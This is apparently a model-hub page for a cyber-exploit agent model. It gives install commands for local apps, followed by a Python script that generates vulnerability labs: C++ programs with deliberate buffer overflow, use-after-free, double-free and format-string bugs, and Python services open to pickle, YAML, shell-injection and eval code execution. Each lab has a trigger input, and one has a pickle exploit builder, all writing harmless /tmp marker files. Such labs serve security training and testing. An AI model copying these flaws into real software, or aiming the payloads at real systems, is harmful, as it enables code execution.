Instructions to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- llama.cpp
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with llama.cpp:
Install (macOS, Linux)
curl -LsSf https://llama.app/install.sh | sh # Start a local OpenAI-compatible server with a web UI: llama serve -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M # Run inference directly in the terminal: llama cli -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Install from WinGet (Windows)
winget install llama.cpp # Start a local OpenAI-compatible server with a web UI: llama serve -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M # Run inference directly in the terminal: llama cli -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Use pre-built binary
# Download pre-built binary from: # https://github.com/ggerganov/llama.cpp/releases # Start a local OpenAI-compatible server with a web UI: ./llama-server -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M # Run inference directly in the terminal: ./llama-cli -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Build from source code
git clone https://github.com/ggerganov/llama.cpp.git cd llama.cpp cmake -B build cmake --build build -j --target llama-server llama-cli # Start a local OpenAI-compatible server with a web UI: ./build/bin/llama-server -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M # Run inference directly in the terminal: ./build/bin/llama-cli -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Use Docker
docker model run hf.co/Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
- LM Studio
- Jan
- Ollama
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Ollama:
ollama run hf.co/Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
- Unsloth Studio
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Unsloth Studio:
Install Unsloth Studio (macOS, Linux, WSL)
curl -fsSL https://unsloth.ai/install.sh | sh # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent to start chatting
Install Unsloth Studio (Windows)
irm https://unsloth.ai/install.ps1 | iex # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent to start chatting
Using HuggingFace Spaces for Unsloth
# No setup required # Open https://huggingface.co/spaces/unsloth/studio in your browser # Search for Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent to start chatting
- Pi
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Pi:
Start the llama.cpp server
# Install llama.cpp: brew install llama.cpp # Start a local OpenAI-compatible server: llama serve -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Configure the model in Pi
# Install Pi: npm install -g @mariozechner/pi-coding-agent # Add to ~/.pi/agent/models.json: { "providers": { "llama-cpp": { "baseUrl": "http://localhost:8080/v1", "api": "openai-completions", "apiKey": "none", "models": [ { "id": "Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M" } ] } } }Run Pi
# Start Pi in your project directory: pi
- Docker Model Runner
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Docker Model Runner:
docker model run hf.co/Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
- Lemonade
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Lemonade:
Pull the model
# Download Lemonade from https://lemonade-server.ai/ lemonade pull Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Run and chat with the model
lemonade run user.qwen3.8-9b-cyber-exploit-agent-Q4_K_M
List all available models
lemonade list
- Hermes Agent
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with Hermes Agent:
Start the llama.cpp server
# Install llama.cpp: brew install llama.cpp # Start a local OpenAI-compatible server: llama serve -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Configure Hermes
# Install Hermes: curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash hermes setup # Point Hermes at the local server: hermes config set model.provider custom hermes config set model.base_url http://127.0.0.1:8080/v1 hermes config set model.default Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Run Hermes
hermes
- Atomic Chat
- OpenClaw
How to use Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent with OpenClaw:
Start the llama.cpp server
# Install llama.cpp: brew install llama.cpp # Start a local OpenAI-compatible server: llama serve -hf Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M
Configure OpenClaw
# Install OpenClaw: npm install -g openclaw@latest # Register the local server and set it as the default model: openclaw onboard --non-interactive --mode local \ --auth-choice custom-api-key \ --custom-base-url http://127.0.0.1:8080/v1 \ --custom-model-id "Krypto-Whitehat/qwen3.8-9b-cyber-exploit-agent:Q4_K_M" \ --custom-provider-id llama-cpp \ --custom-compatibility openai \ --custom-text-input \ --accept-risk \ --skip-health
Run OpenClaw
openclaw agent --local --agent main --message "Hello from Hugging Face"
File size: 11,657 Bytes
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LABS_DIR = r"C:\Users\corov\Desktop\Qwen-Cyber\labs"
os.makedirs(LABS_DIR, exist_ok=True)
labs = {}
# ---------------- C++ labs (compile: g++ -O1 -g -fsanitize=address -o lab lab.cpp)
labs["lab01_oob_read"] = {
"lang": "cpp", "class_hint": "heap-buffer-overflow READ",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Mirrors the classic ARVO shape: length field trusted for a copy/read
// boundary without re-validating against the allocation.
struct Record { uint32_t len; char data[]; };
int main(int argc, char** argv) {
// allocation covers exactly the declared payload
size_t alloc_len = 8;
Record* r = (Record*)malloc(sizeof(Record) + alloc_len);
memset(r->data, 'A', alloc_len);
// attacker-controlled length field, not derived from the allocation
uint32_t reported = (argc > 1) ? (uint32_t)strtoul(argv[1], nullptr, 10) : alloc_len;
unsigned long sum = 0;
for (uint32_t i = 0; i < reported; ++i)
sum += (unsigned char)r->data[i]; // OOB READ when reported > alloc_len
printf("sum=%lu\n", sum);
free(r);
return 0;
}
""",
"trigger": "./lab01_oob_read 64",
"expect": "heap-buffer-overflow READ on the loop over r->data when the length field (64) exceeds the 8-byte allocation."
}
labs["lab02_oob_write"] = {
"lang": "cpp", "class_hint": "heap-buffer-overflow WRITE",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Off-by-bound write: index range derived from user count, allocation one short.
int main(int argc, char** argv) {
size_t n = (argc > 1) ? (size_t)strtoull(argv[1], nullptr, 10) : 4;
char* buf = (char*)malloc(n - 1); // allocation error: n-1
for (size_t i = 0; i < n; ++i)
buf[i] = 'B'; // OOB WRITE at i == n-1
buf[n - 1] = '\0';
printf("%s\n", buf);
free(buf);
return 0;
}
""",
"trigger": "./lab02_oob_write 32",
"expect": "heap-buffer-overflow WRITE of size 1 at buf[n-1] because allocation is n-1 bytes but the loop writes n bytes."
}
labs["lab03_uaf"] = {
"lang": "cpp", "class_hint": "heap-use-after-free",
"src": r"""#include <cstdlib>
#include <cstdio>
// Object freed on the error path, then the success path reads it
// (the "cleanup-order" UAF shape seen in many parser CVEs).
struct Session { long token; char tag[16]; };
int main() {
Session* s = (Session*)malloc(sizeof(Session));
s->token = 0x41414141;
strcpy(s->tag, "live");
int error = 0; // simulated error branch frees early
if (error == 0) {
free(s); // error-path style cleanup
}
// later use: read of freed memory
printf("token=%lx tag=%s\n", s->token, s->tag); // UAF READ
return 0;
}
""",
"trigger": "./lab03_uaf",
"expect": "heap-use-after-free READ on printf of s->token/s->tag after free(s)."
}
labs["lab04_double_free"] = {
"lang": "cpp", "class_hint": "double-free",
"src": r"""#include <cstdlib>
#include <cstring>
// Two cleanup routines both registered for the same buffer
// (callback/table double-registration shape).
static char* g_buf = nullptr;
void cleanup_a() { if (g_buf) { free(g_buf); g_buf = nullptr; } }
void cleanup_b() { free(g_buf); } // misses the null-out
int main() {
g_buf = (char*)malloc(64);
strcpy(g_buf, "payload");
cleanup_a();
cleanup_b(); // g_buf was set to nullptr by cleanup_a -> null-deref instead;
// to force the classic double-free, cleanup_b uses a stale copy:
return 0;
}
""",
"trigger": "./lab04_double_free",
"expect": "Variant demonstrates the registration bug; the stale-copy variant below is the canonical double-free (kept as second file)."
}
labs["lab04b_double_free"] = {
"lang": "cpp", "class_hint": "double-free (stale copy)",
"src": r"""#include <cstdlib>
#include <cstring>
// Canonical stale-pointer double free.
int main() {
char* p = (char*)malloc(32);
char* stale = p;
free(p);
free(stale); // DOUBLE FREE
return 0;
}
""",
"trigger": "./lab04b_double_free",
"expect": "attempting double-free on the same pointer (ASan reports double-free)."
}
labs["lab05_stack_overflow"] = {
"lang": "cpp", "class_hint": "stack-buffer-overflow WRITE",
"src": r"""#include <cstring>
#include <cstdio>
// Fixed stack buffer fed by argv without length bound
// (classic argv/recv into stack array).
int main(int argc, char** argv) {
char name[16];
if (argc > 1) {
strcpy(name, argv[1]); // unbounded copy into stack buffer
printf("hello %s\n", name);
}
return 0;
}
""",
"trigger": "./lab05_stack_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"expect": "stack-buffer-overflow WRITE via strcpy of a 32-byte argv into a 16-byte stack buffer."
}
labs["lab06_int_overflow_alloc"] = {
"lang": "cpp", "class_hint": "integer overflow -> undersized alloc -> OOB WRITE",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <climits>
// Count*size product overflow: allocation small, loop writes count elements.
int main(int argc, char** argv) {
// count chosen so count*8 overflows 32-bit arithmetic used for the alloc
unsigned long count = (argc > 1) ? strtoul(argv[1], nullptr, 10) : 0x20000001UL;
size_t alloc = (size_t)(uint32_t)(count * 8); // wraps to small value
printf("count=%lu alloc=%zu\n", count, alloc);
unsigned long* a = (unsigned long*)malloc(alloc ? alloc : 1);
for (unsigned long i = 0; i < 4; ++i) // even a few writes pass the wrapped alloc
a[i] = 0x4141414141414141UL; // OOB WRITE almost immediately
free(a);
return 0;
}
""",
"trigger": "./lab06_int_overflow_alloc 536870913",
"expect": "count*8 wraps to 8 in 32-bit arithmetic; malloc(8) then 4 8-byte writes => heap-buffer-overflow WRITE on a[1]."
}
labs["lab07_type_confusion"] = {
"lang": "cpp", "class_hint": "type confusion via tag-less union",
"src": r"""#include <cstdio>
#include <cstdint>
// Tag-less variant struct: producer writes one layout, consumer reads another.
struct MsgA { uint8_t kind; int32_t value; };
struct MsgB { uint8_t kind; void* callback; };
static void consume(void* raw) {
MsgB* b = (MsgB*)raw; // consumer assumes B
printf("callback ptr = %p\n", (void*)b->callback); // reads MsgA::value as pointer
}
int main() {
MsgA a{};
a.kind = 1; a.value = 0x41414141;
consume(&a); // confusion: A memory read as B
return 0;
}
""",
"trigger": "./lab07_type_confusion",
"expect": "No ASan abort (same object size) - the confusion prints 0x41414141 as a pointer: demonstrated misinterpretation; this is the evidence for the confusion primitive (leak/forwarding step), documented as such."
}
labs["lab08_null_deref"] = {
"lang": "cpp", "class_hint": "null dereference (crash primitive, availability)",
"src": r"""#include <cstdlib>
#include <cstdio>
// Missing failure check after a lookup that returns nullptr on miss
// (error path not propagated).
struct Node { int v; };
static Node* lookup(int key) { return nullptr; } // simulated miss
int main(int argc, char** argv) {
int key = (argc > 1) ? atoi(argv[1]) : 1;
Node* n = lookup(key);
printf("%d\n", n->v); // NULL DEREF on miss
return 0;
}
""",
"trigger": "./lab08_null_deref 7",
"expect": "SEGV on unknown address 0x000000000000 (null deref) - crash primitive, availability impact only."
}
labs["lab09_oob_leak"] = {
"lang": "cpp", "class_hint": "heap OOB READ -> info leak",
"src": r"""#include <cstdlib>
#include <cstdio>
#include <cstring>
// Adjacent-secret layout: secret allocated after buffer; OOB read walks into it.
int main() {
char* buf = (char*)malloc(8);
char* secret = (char*)malloc(8);
strcpy(secret, "S3CRET!!");
for (int i = 8; i < 24; ++i)
putchar(buf[i]); // OOB READ past buf into allocator-adjacent memory
putchar('\n');
return 0;
}
""",
"trigger": "./lab09_oob_leak",
"expect": "heap-buffer-overflow READ (ASan). With ASan off (plain build), the loop can print adjacent heap bytes - the leak-rung demo; sanitizer build proves the OOB access itself."
}
labs["lab10_format_string"] = {
"lang": "cpp", "class_hint": "format string (leak + %n write primitive)",
"src": r"""#include <cstdio>
// User-controlled string passed as the format argument.
int main(int argc, char** argv) {
if (argc > 1)
printf(argv[1]); // FORMAT STRING BUG
putchar('\n');
return 0;
}
""",
"trigger": "./lab10_format_string 'LEAK:%17$lx'",
"expect": "printf treats argv[1] as format: positional args leak stack values (leak rung); %n in the input is the write-primitive rung (not executed here to keep the lab non-destructive)."
}
# ---------------- Python labs (real execution markers)
labs["labp1_pickle"] = {
"lang": "py", "class_hint": "pickle deserialization -> command execution",
"src": r"""# vulnerable service: deserializes a "session blob" from an untrusted source
import pickle, base64, sys
blob = sys.argv[1] if len(sys.argv) > 1 else ""
data = pickle.loads(base64.b64decode(blob)) # UNSAFE
print("restored:", data)
""",
"helper": r"""# builds the malicious blob: executes `touch /tmp/pwned_pickle` on load
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/pwned_pickle",))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
""",
"trigger": "python3 make_exploit.py > b64 && python3 service.py \"$b64\" && ls /tmp/pwned_pickle",
"expect": "marker file /tmp/pwned_pickle exists => code execution on deserialization (verified trigger)."
}
labs["labp2_yaml"] = {
"lang": "py", "class_hint": "yaml.load unsafe -> code execution",
"src": r"""# vulnerable config loader
import yaml, sys
cfg = yaml.load(sys.argv[1] if len(sys.argv) > 1 else "{}", Loader=yaml.Loader) # Loader = unsafe
print("config:", cfg)
""",
"trigger": "python3 loader.py '!!python/object/apply:os.system [\"touch /tmp/pwned_yaml\"]'",
"expect": "marker /tmp/pwned_yaml => arbitrary code execution via unsafe yaml tag (verified trigger)."
}
labs["labp3_shell_injection"] = {
"lang": "py", "class_hint": "subprocess shell=True command injection",
"src": r"""# vulnerable ping utility
import subprocess, sys
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
out = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
print(out.stdout[:200])
""",
"trigger": "python3 ping.py '127.0.0.1; touch /tmp/pwned_inject'",
"expect": "marker /tmp/pwned_inject => injected command executed via shell=True string composition (verified trigger)."
}
labs["labp4_eval"] = {
"lang": "py", "class_hint": "eval() on user input -> code execution",
"src": r"""# vulnerable calculator service
import sys
expr = sys.argv[1] if len(sys.argv) > 1 else "1+1"
print("result:", eval(expr)) # EVAL on raw input
""",
"trigger": "python3 calc.py \"__import__('os').system('touch /tmp/pwned_eval')\" && ls /tmp/pwned_eval",
"expect": "marker /tmp/pwned_eval => eval() reaches os.system (verified trigger)."
}
manifest = {}
for name, lab in labs.items():
ext = "cpp" if lab["lang"] == "cpp" else "py"
with open(os.path.join(LABS_DIR, name + "." + ext), "w", newline="\n") as f:
f.write(lab["src"])
if "helper" in lab:
with open(os.path.join(LABS_DIR, name + "_make.py"), "w", newline="\n") as f:
f.write(lab["helper"])
manifest[name] = {k: v for k, v in lab.items() if k != "src"}
with open(os.path.join(LABS_DIR, "manifest.json"), "w", newline="\n") as f:
json.dump(manifest, f, indent=1)
print("labs written:", len(labs))
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